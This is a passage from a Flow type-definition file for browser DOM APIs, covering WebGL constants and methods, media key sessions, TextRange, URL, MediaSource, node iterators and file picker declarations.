0x84da;\n  static TEXTURE27: 0x84db;\n  TEXTURE27: 0x84db;\n  static TEXTURE28: 0x84dc;\n  TEXTURE28: 0x84dc;\n  static TEXTURE29: 0x84dd;\n  TEXTURE29: 0x84dd;\n  static TEXTURE30: 0x84de;\n  TEXTURE30: 0x84de;\n  static TEXTURE31: 0x84df;\n  TEXTURE31: 0x84df;\n  static ACTIVE_TEXTURE: 0x84e0;\n  ACTIVE_TEXTURE: 0x84e0;\n  static REPEAT: 0x2901;\n  REPEAT: 0x2901;\n  static CLAMP_TO_EDGE: 0x812f;\n  CLAMP_TO_EDGE: 0x812f;\n  static MIRRORED_REPEAT: 0x8370;\n  MIRRORED_REPEAT: 0x8370;\n  static FLOAT_VEC2: 0x8b50;\n  FLOAT_VEC2: 0x8b50;\n  static FLOAT_VEC3: 0x8b51;\n  FLOAT_VEC3: 0x8b51;\n  static FLOAT_VEC4: 0x8b52;\n  FLOAT_VEC4: 0x8b52;\n  static INT_VEC2: 0x8b53;\n  INT_VEC2: 0x8b53;\n  static INT_VEC3: 0x8b54;\n  INT_VEC3: 0x8b54;\n  static INT_VEC4: 0x8b55;\n  INT_VEC4: 0x8b55;\n  static BOOL: 0x8b56;\n  BOOL: 0x8b56;\n  static BOOL_VEC2: 0x8b57;\n  BOOL_VEC2: 0x8b57;\n  static BOOL_VEC3: 0x8b58;\n  BOOL_VEC3: 0x8b58;\n  static BOOL_VEC4: 0x8b59;\n  BOOL_VEC4: 0x8b59;\n  static FLOAT_MAT2: 0x8b5a;\n  FLOAT_MAT2: 0x8b5a;\n  static FLOAT_MAT3: 0x8b5b;\n  FLOAT_MAT3: 0x8b5b;\n  static FLOAT_MAT4: 0x8b5c;\n  FLOAT_MAT4: 0x8b5c;\n  static SAMPLER_2D: 0x8b5e;\n  SAMPLER_2D: 0x8b5e;\n  static SAMPLER_CUBE: 0x8b60;\n  SAMPLER_CUBE: 0x8b60;\n  static VERTEX_ATTRIB_ARRAY_ENABLED: 0x8622;\n  VERTEX_ATTRIB_ARRAY_ENABLED: 0x8622;\n  static VERTEX_ATTRIB_ARRAY_SIZE: 0x8623;\n  VERTEX_ATTRIB_ARRAY_SIZE: 0x8623;\n  static VERTEX_ATTRIB_ARRAY_STRIDE: 0x8624;\n  VERTEX_ATTRIB_ARRAY_STRIDE: 0x8624;\n  static VERTEX_ATTRIB_ARRAY_TYPE: 0x8625;\n  VERTEX_ATTRIB_ARRAY_TYPE: 0x8625;\n  static VERTEX_ATTRIB_ARRAY_NORMALIZED: 0x886a;\n  VERTEX_ATTRIB_ARRAY_NORMALIZED: 0x886a;\n  static VERTEX_ATTRIB_ARRAY_POINTER: 0x8645;\n  VERTEX_ATTRIB_ARRAY_POINTER: 0x8645;\n  static VERTEX_ATTRIB_ARRAY_BUFFER_BINDING: 0x889f;\n  VERTEX_ATTRIB_ARRAY_BUFFER_BINDING: 0x889f;\n  static IMPLEMENTATION_COLOR_READ_TYPE: 0x8b9a;\n  IMPLEMENTATION_COLOR_READ_TYPE: 0x8b9a;\n  static IMPLEMENTATION_COLOR_READ_FORMAT: 0x8b9b;\n  IMPLEMENTATION_COLOR_READ_FORMAT: 0x8b9b;\n  static COMPILE_STATUS: 0x8b81;\n  COMPILE_STATUS: 0x8b81;\n  static LOW_FLOAT: 0x8df0;\n  LOW_FLOAT: 0x8df0;\n  static MEDIUM_FLOAT: 0x8df1;\n  MEDIUM_FLOAT: 0x8df1;\n  static HIGH_FLOAT: 0x8df2;\n  HIGH_FLOAT: 0x8df2;\n  static LOW_INT: 0x8df3;\n  LOW_INT: 0x8df3;\n  static MEDIUM_INT: 0x8df4;\n  MEDIUM_INT: 0x8df4;\n  static HIGH_INT: 0x8df5;\n  HIGH_INT: 0x8df5;\n  static FRAMEBUFFER: 0x8d40;\n  FRAMEBUFFER: 0x8d40;\n  static RENDERBUFFER: 0x8d41;\n  RENDERBUFFER: 0x8d41;\n  static RGBA4: 0x8056;\n  RGBA4: 0x8056;\n  static RGB5_A1: 0x8057;\n  RGB5_A1: 0x8057;\n  static RGB565: 0x8d62;\n  RGB565: 0x8d62;\n  static DEPTH_COMPONENT16: 0x81a5;\n  DEPTH_COMPONENT16: 0x81a5;\n  static STENCIL_INDEX: 0x1901;\n  STENCIL_INDEX: 0x1901;\n  static STENCIL_INDEX8: 0x8d48;\n  STENCIL_INDEX8: 0x8d48;\n  static DEPTH_STENCIL: 0x84f9;\n  DEPTH_STENCIL: 0x84f9;\n  static RENDERBUFFER_WIDTH: 0x8d42;\n  RENDERBUFFER_WIDTH: 0x8d42;\n  static RENDERBUFFER_HEIGHT: 0x8d43;\n  RENDERBUFFER_HEIGHT: 0x8d43;\n  static RENDERBUFFER_INTERNAL_FORMAT: 0x8d44;\n  RENDERBUFFER_INTERNAL_FORMAT: 0x8d44;\n  static RENDERBUFFER_RED_SIZE: 0x8d50;\n  RENDERBUFFER_RED_SIZE: 0x8d50;\n  static RENDERBUFFER_GREEN_SIZE: 0x8d51;\n  RENDERBUFFER_GREEN_SIZE: 0x8d51;\n  static RENDERBUFFER_BLUE_SIZE: 0x8d52;\n  RENDERBUFFER_BLUE_SIZE: 0x8d52;\n  static RENDERBUFFER_ALPHA_SIZE: 0x8d53;\n  RENDERBUFFER_ALPHA_SIZE: 0x8d53;\n  static RENDERBUFFER_DEPTH_SIZE: 0x8d54;\n  RENDERBUFFER_DEPTH_SIZE: 0x8d54;\n  static RENDERBUFFER_STENCIL_SIZE: 0x8d55;\n  RENDERBUFFER_STENCIL_SIZE: 0x8d55;\n  static FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE: 0x8cd0;\n  FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE: 0x8cd0;\n  static FRAMEBUFFER_ATTACHMENT_OBJECT_NAME: 0x8cd1;\n  FRAMEBUFFER_ATTACHMENT_OBJECT_NAME: 0x8cd1;\n  static FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL: 0x8cd2;\n  FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL: 0x8cd2;\n  static FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE: 0x8cd3;\n  FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE: 0x8cd3;\n  static COLOR_ATTACHMENT0: 0x8ce0;\n  COLOR_ATTACHMENT0: 0x8ce0;\n  static DEPTH_ATTACHMENT: 0x8d00;\n  DEPTH_ATTACHMENT: 0x8d00;\n  static STENCIL_ATTACHMENT: 0x8d20;\n  STENCIL_ATTACHMENT: 0x8d20;\n  static DEPTH_STENCIL_ATTACHMENT: 0x821a;\n  DEPTH_STENCIL_ATTACHMENT: 0x821a;\n  static NONE: 0;\n  NONE: 0;\n  static FRAMEBUFFER_COMPLETE: 0x8cd5;\n  FRAMEBUFFER_COMPLETE: 0x8cd5;\n  static FRAMEBUFFER_INCOMPLETE_ATTACHMENT: 0x8cd6;\n  FRAMEBUFFER_INCOMPLETE_ATTACHMENT: 0x8cd6;\n  static FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT: 0x8cd7;\n  FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT: 0x8cd7;\n  static FRAMEBUFFER_INCOMPLETE_DIMENSIONS: 0x8cd9;\n  FRAMEBUFFER_INCOMPLETE_DIMENSIONS: 0x8cd9;\n  static FRAMEBUFFER_UNSUPPORTED: 0x8cdd;\n  FRAMEBUFFER_UNSUPPORTED: 0x8cdd;\n  static FRAMEBUFFER_BINDING: 0x8ca6;\n  FRAMEBUFFER_BINDING: 0x8ca6;\n  static RENDERBUFFER_BINDING: 0x8ca7;\n  RENDERBUFFER_BINDING: 0x8ca7;\n  static MAX_RENDERBUFFER_SIZE: 0x84e8;\n  MAX_RENDERBUFFER_SIZE: 0x84e8;\n  static INVALID_FRAMEBUFFER_OPERATION: 0x0506;\n  INVALID_FRAMEBUFFER_OPERATION: 0x0506;\n  static UNPACK_FLIP_Y_WEBGL: 0x9240;\n  UNPACK_FLIP_Y_WEBGL: 0x9240;\n  static UNPACK_PREMULTIPLY_ALPHA_WEBGL: 0x9241;\n  UNPACK_PREMULTIPLY_ALPHA_WEBGL: 0x9241;\n  static CONTEXT_LOST_WEBGL: 0x9242;\n  CONTEXT_LOST_WEBGL: 0x9242;\n  static UNPACK_COLORSPACE_CONVERSION_WEBGL: 0x9243;\n  UNPACK_COLORSPACE_CONVERSION_WEBGL: 0x9243;\n  static BROWSER_DEFAULT_WEBGL: 0x9244;\n  BROWSER_DEFAULT_WEBGL: 0x9244;\n\n  canvas: HTMLCanvasElement;\n  drawingBufferWidth: number;\n  drawingBufferHeight: number;\n\n  getContextAttributes(): ?WebGLContextAttributes;\n  isContextLost(): boolean;\n\n  getSupportedExtensions(): ?Array<string>;\n  getExtension(name: string): any;\n\n  activeTexture(texture: number): void;\n  attachShader(program: WebGLProgram, shader: WebGLShader): void;\n  bindAttribLocation(program: WebGLProgram, index: number, name: string): void;\n  bindBuffer(target: number, buffer: ?WebGLBuffer): void;\n  bindFramebuffer(target: number, framebuffer: ?WebGLFramebuffer): void;\n  bindRenderbuffer(target: number, renderbuffer: ?WebGLRenderbuffer): void;\n  bindTexture(target: number, texture: ?WebGLTexture): void;\n  blendColor(red: number, green: number, blue: number, alpha: number): void;\n  blendEquation(mode: number): void;\n  blendEquationSeparate(modeRGB: number, modeAlpha: number): void;\n  blendFunc(sfactor: number, dfactor: number): void;\n  blendFuncSeparate(\n    srcRGB: number,\n    dstRGB: number,\n    srcAlpha: number,\n    dstAlpha: number\n  ): void;\n\n  bufferData(target: number, size: number, usage: number): void;\n  bufferData(target: number, data: ?ArrayBuffer, usage: number): void;\n  bufferData(target: number, data: $ArrayBufferView, usage: number): void;\n  bufferSubData(target: number, offset: number, data: BufferDataSource): void;\n\n  checkFramebufferStatus(target: number): number;\n  clear(mask: number): void;\n  clearColor(red: number, green: number, blue: number, alpha: number): void;\n  clearDepth(depth: number): void;\n  clearStencil(s: number): void;\n  colorMask(red: boolean, green: boolean, blue: boolean, alpha: boolean): void;\n  compileShader(shader: WebGLShader): void;\n\n  compressedTexImage2D(\n    target: number,\n    level: number,\n    internalformat: number,\n    width: number,\n    height: number,\n    border: number,\n    data: $ArrayBufferView\n  ): void;\n\n  compressedTexSubImage2D(\n    target: number,\n    level: number,\n    xoffset: number,\n    yoffset: number,\n    width: number,\n    height: number,\n    format: number,\n    data: $ArrayBufferView\n  ): void;\n\n  copyTexImage2D(\n    target: number,\n    level: number,\n    internalformat: number,\n    x: number,\n    y: number,\n    width: number,\n    height: number,\n    border: number\n  ): void;\n  copyTexSubImage2D(\n    target: number,\n    level: number,\n    xoffset: number,\n    yoffset: number,\n    x: number,\n    y: number,\n    width: number,\n    height: number\n  ): void;\n\n  createBuffer(): ?WebGLBuffer;\n  createFramebuffer(): ?WebGLFramebuffer;\n  createProgram(): ?WebGLProgram;\n  createRenderbuffer(): ?WebGLRenderbuffer;\n  createShader(type: number): ?WebGLShader;\n  createTexture(): ?WebGLTexture;\n\n  cullFace(mode: number): void;\n\n  deleteBuffer(buffer: ?WebGLBuffer): void;\n  deleteFramebuffer(framebuffer: ?WebGLFramebuffer): void;\n  deleteProgram(program: ?WebGLProgram): void;\n  deleteRenderbuffer(renderbuffer: ?WebGLRenderbuffer): void;\n  deleteShader(shader: ?WebGLShader): void;\n  deleteTexture(texture: ?WebGLTexture): void;\n\n  depthFunc(func: number): void;\n  depthMask(flag: boolean): void;\n  depthRange(zNear: number, zFar: number): void;\n  detachShader(program: WebGLProgram, shader: WebGLShader): void;\n  disable(cap: number): void;\n  disableVertexAttribArray(index: number): void;\n  drawArrays(mode: number, first: number, count: number): void;\n  drawElements(mode: number, count: number, type: number, offset: number): void;\n\n  enable(cap: number): void;\n  enableVertexAttribArray(index: number): void;\n  finish(): void;\n  flush(): void;\n  framebufferRenderbuffer(\n    target: number,\n    attachment: number,\n    renderbuffertarget: number,\n    renderbuffer: ?WebGLRenderbuffer\n  ): void;\n  framebufferTexture2D(\n    target: number,\n    attachment: number,\n    textarget: number,\n    texture: ?WebGLTexture,\n    level: number\n  ): void;\n  frontFace(mode: number): void;\n\n  generateMipmap(target: number): void;\n\n  getActiveAttrib(program: WebGLProgram, index: number): ?WebGLActiveInfo;\n  getActiveUniform(program: WebGLProgram, index: number): ?WebGLActiveInfo;\n  getAttachedShaders(program: WebGLProgram): ?Array<WebGLShader>;\n\n  getAttribLocation(program: WebGLProgram, name: string): number;\n\n  getBufferParameter(target: number, pname: number): any;\n  getParameter(pname: number): any;\n\n  getError(): number;\n\n  getFramebufferAttachmentParameter(\n    target: number,\n    attachment: number,\n    pname: number\n  ): any;\n  getProgramParameter(program: WebGLProgram, pname: number): any;\n  getProgramInfoLog(program: WebGLProgram): ?string;\n  getRenderbufferParameter(target: number, pname: number): any;\n  getShaderParameter(shader: WebGLShader, pname: number): any;\n  getShaderPrecisionFormat(\n    shadertype: number,\n    precisiontype: number\n  ): ?WebGLShaderPrecisionFormat;\n  getShaderInfoLog(shader: WebGLShader): ?string;\n\n  getShaderSource(shader: WebGLShader): ?string;\n\n  getTexParameter(target: number, pname: number): any;\n\n  getUniform(program: WebGLProgram, location: WebGLUniformLocation): any;\n\n  getUniformLocation(\n    program: WebGLProgram,\n    name: string\n  ): ?WebGLUniformLocation;\n\n  getVertexAttrib(index: number, pname: number): any;\n\n  getVertexAttribOffset(index: number, pname: number): number;\n\n  hint(target: number, mode: number): void;\n  isBuffer(buffer: ?WebGLBuffer): boolean;\n  isEnabled(cap: number): boolean;\n  isFramebuffer(framebuffer: ?WebGLFramebuffer): boolean;\n  isProgram(program: ?WebGLProgram): boolean;\n  isRenderbuffer(renderbuffer: ?WebGLRenderbuffer): boolean;\n  isShader(shader: ?WebGLShader): boolean;\n  isTexture(texture: ?WebGLTexture): boolean;\n  lineWidth(width: number): void;\n  linkProgram(program: WebGLProgram): void;\n  pixelStorei(pname: number, param: number): void;\n  polygonOffset(factor: number, units: number): void;\n\n  readPixels(\n    x: number,\n    y: number,\n    width: number,\n    height: number,\n    format: number,\n    type: number,\n    pixels: ?$ArrayBufferView\n  ): void;\n\n  renderbufferStorage(\n    target: number,\n    internalformat: number,\n    width: number,\n    height: number\n  ): void;\n  sampleCoverage(value: number, invert: boolean): void;\n  scissor(x: number, y: number, width: number, height: number): void;\n\n  shaderSource(shader: WebGLShader, source: string): void;\n\n  stencilFunc(func: number, ref: number, mask: number): void;\n  stencilFuncSeparate(\n    face: number,\n    func: number,\n    ref: number,\n    mask: number\n  ): void;\n  stencilMask(mask: number): void;\n  stencilMaskSeparate(face: number, mask: number): void;\n  stencilOp(fail: number, zfail: number, zpass: number): void;\n  stencilOpSeparate(\n    face: number,\n    fail: number,\n    zfail: number,\n    zpass: number\n  ): void;\n\n  texImage2D(\n    target: number,\n    level: number,\n    internalformat: number,\n    width: number,\n    height: number,\n    border: number,\n    format: number,\n    type: number,\n    pixels: ?$ArrayBufferView\n  ): void;\n  texImage2D(\n    target: number,\n    level: number,\n    internalformat: number,\n    format: number,\n    type: number,\n    source: TexImageSource\n  ): void;\n\n  texParameterf(target: number, pname: number, param: number): void;\n  texParameteri(target: number, pname: number, param: number): void;\n\n  texSubImage2D(\n    target: number,\n    level: number,\n    xoffset: number,\n    yoffset: number,\n    width: number,\n    height: number,\n    format: number,\n    type: number,\n    pixels: ?$ArrayBufferView\n  ): void;\n  texSubImage2D(\n    target: number,\n    level: number,\n    xoffset: number,\n    yoffset: number,\n    format: number,\n    type: number,\n    source: TexImageSource\n  ): void;\n\n  uniform1f(location: ?WebGLUniformLocation, x: number): void;\n  uniform1fv(location: ?WebGLUniformLocation, v: Float32Array): void;\n  uniform1fv(location: ?WebGLUniformLocation, v: Array<number>): void;\n  uniform1fv(location: ?WebGLUniformLocation, v: [number]): void;\n  uniform1i(location: ?WebGLUniformLocation, x: number): void;\n  uniform1iv(location: ?WebGLUniformLocation, v: Int32Array): void;\n  uniform1iv(location: ?WebGLUniformLocation, v: Array<number>): void;\n  uniform1iv(location: ?WebGLUniformLocation, v: [number]): void;\n  uniform2f(location: ?WebGLUniformLocation, x: number, y: number): void;\n  uniform2fv(location: ?WebGLUniformLocation, v: Float32Array): void;\n  uniform2fv(location: ?WebGLUniformLocation, v: Array<number>): void;\n  uniform2fv(location: ?WebGLUniformLocation, v: [number, number]): void;\n  uniform2i(location: ?WebGLUniformLocation, x: number, y: number): void;\n  uniform2iv(location: ?WebGLUniformLocation, v: Int32Array): void;\n  uniform2iv(location: ?WebGLUniformLocation, v: Array<number>): void;\n  uniform2iv(location: ?WebGLUniformLocation, v: [number, number]): void;\n  uniform3f(\n    location: ?WebGLUniformLocation,\n    x: number,\n    y: number,\n    z: number\n  ): void;\n  uniform3fv(location: ?WebGLUniformLocation, v: Float32Array): void;\n  uniform3fv(location: ?WebGLUniformLocation, v: Array<number>): void;\n  uniform3fv(\n    location: ?WebGLUniformLocation,\n    v: [number, number, number]\n  ): void;\n  uniform3i(\n    location: ?WebGLUniformLocation,\n    x: number,\n    y: number,\n    z: number\n  ): void;\n  uniform3iv(location: ?WebGLUniformLocation, v: Int32Array): void;\n  uniform3iv(location: ?WebGLUniformLocation, v: Array<number>): void;\n  uniform3iv(\n    location: ?WebGLUniformLocation,\n    v: [number, number, number]\n  ): void;\n  uniform4f(\n    location: ?WebGLUniformLocation,\n    x: number,\n    y: number,\n    z: number,\n    w: number\n  ): void;\n  uniform4fv(location: ?WebGLUniformLocation, v: Float32Array): void;\n  uniform4fv(location: ?WebGLUniformLocation, v: Array<number>): void;\n  uniform4fv(\n    location: ?WebGLUniformLocation,\n    v: [number, number, number, number]\n  ): void;\n  uniform4i(\n    location: ?WebGLUniformLocation,\n    x: number,\n    y: number,\n    z: number,\n    w: number\n  ): void;\n  uniform4iv(location: ?WebGLUniformLocation, v: Int32Array): void;\n  uniform4iv(location: ?WebGLUniformLocation, v: Array<number>): void;\n  uniform4iv(\n    location: ?WebGLUniformLocation,\n    v: [number, number, number, number]\n  ): void;\n\n  uniformMatrix2fv(\n    location: ?WebGLUniformLocation,\n    transpose: boolean,\n    value: Float32Array\n  ): void;\n  uniformMatrix2fv(\n    location: ?WebGLUniformLocation,\n    transpose: boolean,\n    value: Array<number>\n  ): void;\n  uniformMatrix3fv(\n    location: ?WebGLUniformLocation,\n    transpose: boolean,\n    value: Float32Array\n  ): void;\n  uniformMatrix3fv(\n    location: ?WebGLUniformLocation,\n    transpose: boolean,\n    value: Array<number>\n  ): void;\n  uniformMatrix4fv(\n    location: ?WebGLUniformLocation,\n    transpose: boolean,\n    value: Float32Array\n  ): void;\n  uniformMatrix4fv(\n    location: ?WebGLUniformLocation,\n    transpose: boolean,\n    value: Array<number>\n  ): void;\n\n  useProgram(program: ?WebGLProgram): void;\n  validateProgram(program: WebGLProgram): void;\n\n  vertexAttrib1f(index: number, x: number): void;\n  vertexAttrib1fv(index: number, values: VertexAttribFVSource): void;\n  vertexAttrib2f(index: number, x: number, y: number): void;\n  vertexAttrib2fv(index: number, values: VertexAttribFVSource): void;\n  vertexAttrib3f(index: number, x: number, y: number, z: number): void;\n  vertexAttrib3fv(index: number, values: VertexAttribFVSource): void;\n  vertexAttrib4f(\n    index: number,\n    x: number,\n    y: number,\n    z: number,\n    w: number\n  ): void;\n  vertexAttrib4fv(index: number, values: VertexAttribFVSource): void;\n  vertexAttribPointer(\n    index: number,\n    size: number,\n    type: number,\n    normalized: boolean,\n    stride: number,\n    offset: number\n  ): void;\n\n  viewport(x: number, y: number, width: number, height: number): void;\n}\n\ndeclare class WebGLContextEvent extends Event {\n  statusMessage: string;\n}\n\ndeclare class MediaKeyStatusMap<BufferDataSource, MediaKeyStatus> {\n  @@iterator(): Iterator<[BufferDataSource, MediaKeyStatus]>;\n  size: number;\n  entries(): Iterator<[BufferDataSource, MediaKeyStatus]>;\n  forEach(\n    callbackfn: (\n      value: MediaKeyStatus,\n      key: BufferDataSource,\n      map: MediaKeyStatusMap<BufferDataSource, MediaKeyStatus>\n    ) => any,\n    thisArg?: any\n  ): void;\n  get(key: BufferDataSource): MediaKeyStatus;\n  has(key: BufferDataSource): boolean;\n  keys(): Iterator<BufferDataSource>;\n  values(): Iterator<MediaKeyStatus>;\n}\n\ndeclare class MediaKeySession extends EventTarget {\n  sessionId: string;\n  expiration: number;\n  closed: Promise<void>;\n  keyStatuses: MediaKeyStatusMap<BufferDataSource, MediaKeyStatus>;\n\n  generateRequest(\n    initDataType: string,\n    initData: BufferDataSource\n  ): Promise<void>;\n  load(sessionId: string): Promise<boolean>;\n  update(response: BufferDataSource): Promise<void>;\n  close(): Promise<void>;\n  remove(): Promise<void>;\n\n  onkeystatuschange: (ev: any) => any;\n  onmessage: (ev: any) => any;\n}\n\ndeclare class MediaKeys {\n  createSession(mediaKeySessionType: MediaKeySessionType): MediaKeySession;\n  setServerCertificate(serverCertificate: BufferDataSource): Promise<boolean>;\n}\n\ndeclare class TextRange {\n  boundingLeft: number;\n  htmlText: string;\n  offsetLeft: number;\n  boundingWidth: number;\n  boundingHeight: number;\n  boundingTop: number;\n  text: string;\n  offsetTop: number;\n  moveToPoint(x: number, y: number): void;\n  queryCommandValue(cmdID: string): any;\n  getBookmark(): string;\n  move(unit: string, count?: number): number;\n  queryCommandIndeterm(cmdID: string): boolean;\n  scrollIntoView(fStart?: boolean): void;\n  findText(string: string, count?: number, flags?: number): boolean;\n  execCommand(cmdID: string, showUI?: boolean, value?: any): boolean;\n  getBoundingClientRect(): DOMRect;\n  moveToBookmark(bookmark: string): boolean;\n  isEqual(range: TextRange): boolean;\n  duplicate(): TextRange;\n  collapse(start?: boolean): void;\n  queryCommandText(cmdID: string): string;\n  select(): void;\n  pasteHTML(html: string): void;\n  inRange(range: TextRange): boolean;\n  moveEnd(unit: string, count?: number): number;\n  getClientRects(): DOMRectList;\n  moveStart(unit: string, count?: number): number;\n  parentElement(): Element;\n  queryCommandState(cmdID: string): boolean;\n  compareEndPoints(how: string, sourceRange: TextRange): number;\n  execCommandShowHelp(cmdID: string): boolean;\n  moveToElementText(element: Element): void;\n  expand(Unit: string): boolean;\n  queryCommandSupported(cmdID: string): boolean;\n  setEndPoint(how: string, SourceRange: TextRange): void;\n  queryCommandEnabled(cmdID: string): boolean;\n}\n\n// These types used to exist as a copy of DOMRect/DOMRectList, which is\n// incorrect because there are no ClientRect/ClientRectList globals on the DOM.\n// Keep these as type aliases for backwards compatibility.\ndeclare type ClientRect = DOMRect;\ndeclare type ClientRectList = DOMRectList;\n\n// TODO: HTML*Element\n\ndeclare class DOMImplementation {\n  createDocumentType(\n    qualifiedName: string,\n    publicId: string,\n    systemId: string\n  ): DocumentType;\n  createDocument(\n    namespaceURI: string | null,\n    qualifiedName: string,\n    doctype?: DocumentType | null\n  ): Document;\n  hasFeature(feature: string, version?: string): boolean;\n\n  // non-standard\n  createHTMLDocument(title?: string): Document;\n}\n\ndeclare class DocumentType extends Node {\n  name: string;\n  notations: NamedNodeMap;\n  systemId: string;\n  internalSubset: string;\n  entities: NamedNodeMap;\n  publicId: string;\n\n  // from ChildNode interface\n  after(...nodes: Array<string | Node>): void;\n  before(...nodes: Array<string | Node>): void;\n  replaceWith(...nodes: Array<string | Node>): void;\n  remove(): void;\n}\n\ndeclare class CharacterData extends Node {\n  length: number;\n  data: string;\n  deleteData(offset: number, count: number): void;\n  replaceData(offset: number, count: number, arg: string): void;\n  appendData(arg: string): void;\n  insertData(offset: number, arg: string): void;\n  substringData(offset: number, count: number): string;\n\n  // from ChildNode interface\n  after(...nodes: Array<string | Node>): void;\n  before(...nodes: Array<string | Node>): void;\n  replaceWith(...nodes: Array<string | Node>): void;\n  remove(): void;\n}\n\ndeclare class Text extends CharacterData {\n  assignedSlot?: HTMLSlotElement;\n  wholeText: string;\n  splitText(offset: number): Text;\n  replaceWholeText(content: string): Text;\n}\n\ndeclare class Comment extends CharacterData {\n  text: string;\n}\n\ndeclare class URL {\n  static canParse(url: string, base?: string): boolean;\n  static createObjectURL(blob: Blob): string;\n  static createObjectURL(mediaSource: MediaSource): string;\n  static revokeObjectURL(url: string): void;\n  static parse(url: string, base?: string): URL | null;\n  constructor(url: string, base?: string | URL): void;\n  hash: string;\n  host: string;\n  hostname: string;\n  href: string;\n  +origin: string;\n  password: string;\n  pathname: string;\n  port: string;\n  protocol: string;\n  search: string;\n  +searchParams: URLSearchParams;\n  username: string;\n  toString(): string;\n  toJSON(): string;\n}\n\ndeclare interface MediaSourceHandle {}\n\ndeclare class MediaSource extends EventTarget {\n  sourceBuffers: SourceBufferList;\n  activeSourceBuffers: SourceBufferList;\n  // https://w3c.github.io/media-source/#dom-readystate\n  readyState: 'closed' | 'open' | 'ended';\n  duration: number;\n  handle: MediaSourceHandle;\n  addSourceBuffer(type: string): SourceBuffer;\n  removeSourceBuffer(sourceBuffer: SourceBuffer): void;\n  endOfStream(error?: string): void;\n  static isTypeSupported(type: string): boolean;\n}\n\ndeclare class SourceBuffer extends EventTarget {\n  mode: 'segments' | 'sequence';\n  updating: boolean;\n  buffered: TimeRanges;\n  timestampOffset: number;\n  audioTracks: AudioTrackList;\n  videoTracks: VideoTrackList;\n  textTracks: TextTrackList;\n  appendWindowStart: number;\n  appendWindowEnd: number;\n\n  appendBuffer(data: ArrayBuffer | $ArrayBufferView): void;\n  // TODO: Add ReadableStream\n  // appendStream(stream: ReadableStream, maxSize?: number): void;\n  abort(): void;\n  remove(start: number, end: number): void;\n\n  trackDefaults: TrackDefaultList;\n}\n\ndeclare class SourceBufferList extends EventTarget {\n  @@iterator(): Iterator<SourceBuffer>;\n  [index: number]: SourceBuffer;\n  length: number;\n}\n\ndeclare class TrackDefaultList {\n  [index: number]: TrackDefault;\n  length: number;\n}\n\ndeclare class TrackDefault {\n  type: 'audio' | 'video' | 'text';\n  byteStreamTrackID: string;\n  language: string;\n  label: string;\n  kinds: Array<string>;\n}\n\n// TODO: The use of `typeof` makes this function signature effectively\n// (node: Node) => number, but it should be (node: Node) => 1|2|3\ntype NodeFilterCallback = (\n  node: Node\n) =>\n  | typeof NodeFilter.FILTER_ACCEPT\n  | typeof NodeFilter.FILTER_REJECT\n  | typeof NodeFilter.FILTER_SKIP;\n\ntype NodeFilterInterface =\n  | NodeFilterCallback\n  | {acceptNode: NodeFilterCallback, ...};\n\n// TODO: window.NodeFilter exists at runtime and behaves as a constructor\n//       as far as `instanceof` is concerned, but it is not callable.\ndeclare class NodeFilter {\n  static SHOW_ALL: -1;\n  static SHOW_ELEMENT: 1;\n  static SHOW_ATTRIBUTE: 2; // deprecated\n  static SHOW_TEXT: 4;\n  static SHOW_CDATA_SECTION: 8; // deprecated\n  static SHOW_ENTITY_REFERENCE: 16; // deprecated\n  static SHOW_ENTITY: 32; // deprecated\n  static SHOW_PROCESSING_INSTRUCTION: 64;\n  static SHOW_COMMENT: 128;\n  static SHOW_DOCUMENT: 256;\n  static SHOW_DOCUMENT_TYPE: 512;\n  static SHOW_DOCUMENT_FRAGMENT: 1024;\n  static SHOW_NOTATION: 2048; // deprecated\n  static FILTER_ACCEPT: 1;\n  static FILTER_REJECT: 2;\n  static FILTER_SKIP: 3;\n  acceptNode: NodeFilterCallback;\n}\n\n// TODO: window.NodeIterator exists at runtime and behaves as a constructor\n//       as far as `instanceof` is concerned, but it is not callable.\ndeclare class NodeIterator<RootNodeT, WhatToShowT> {\n  root: RootNodeT;\n  whatToShow: number;\n  filter: NodeFilter;\n  expandEntityReferences: boolean;\n  referenceNode: RootNodeT | WhatToShowT;\n  pointerBeforeReferenceNode: boolean;\n  detach(): void;\n  previousNode(): WhatToShowT | null;\n  nextNode(): WhatToShowT | null;\n}\n\n// TODO: window.TreeWalker exists at runtime and behaves as a constructor\n//       as far as `instanceof` is concerned, but it is not callable.\ndeclare class TreeWalker<RootNodeT, WhatToShowT> {\n  root: RootNodeT;\n  whatToShow: number;\n  filter: NodeFilter;\n  expandEntityReferences: boolean;\n  currentNode: RootNodeT | WhatToShowT;\n  parentNode(): WhatToShowT | null;\n  firstChild(): WhatToShowT | null;\n  lastChild(): WhatToShowT | null;\n  previousSibling(): WhatToShowT | null;\n  nextSibling(): WhatToShowT | null;\n  previousNode(): WhatToShowT | null;\n  nextNode(): WhatToShowT | null;\n}\n\n/* Window file picker */\n\ntype WindowFileSystemPickerFileType = {|\n  description?: string,\n  /*\n   * An Object with the keys set to the MIME type\n   * and the values an Array of file extensions\n   * Example:\n   * accept: {\n   *   \"image/*\": [\".png\", \".gif\", \".jpeg\", \".jpg\"],\n   * },\n   */\n  accept: {\n    [string]: Array<string>,\n  },\n|};\n\ntype WindowBaseFilePickerOptions = {|\n  id?: number,\n  startIn?:\n    | FileSystemHandle\n    | 'desktop'\n    | 'documents'\n    | 'downloads'\n    | 'music'\n    | 'pictures'\n    | 'videos',\n|};\n\ntype WindowFilePickerOptions = WindowBaseFilePickerOptions & {|\n  excludeAcceptAllOption?: boolean,\n  types?: Array<WindowFileSystemPickerFileType>,\n|};\n\ntype WindowOpenFilePickerOptions = WindowFilePickerOptions & {|\n  multiple?: boolean,\n|};\n\ntype WindowSaveFilePickerOptions = WindowFilePickerOptions & {|\n  suggestedName?: string,\n|};\n\ntype WindowDirectoryFilePickerOptions = WindowBaseFilePickerOptions & {|\n  mode?: 'read' | 'readwrite',\n|};\n\n// https://wicg.github.io/file-system-access/#api-showopenfilepicker\ndeclare function showOpenFilePicker(\n  options?: WindowOpenFilePickerOptions\n): Promise<Array<FileSystemFileHandle>>;\n\n// https://wicg.github.io/file-system-access/#api-showsavefilepicker\ndeclare function showSaveFilePicker(\n  options?: WindowSaveFilePickerOptions\n): Promise<FileSystemFileHandle>;\n\n// 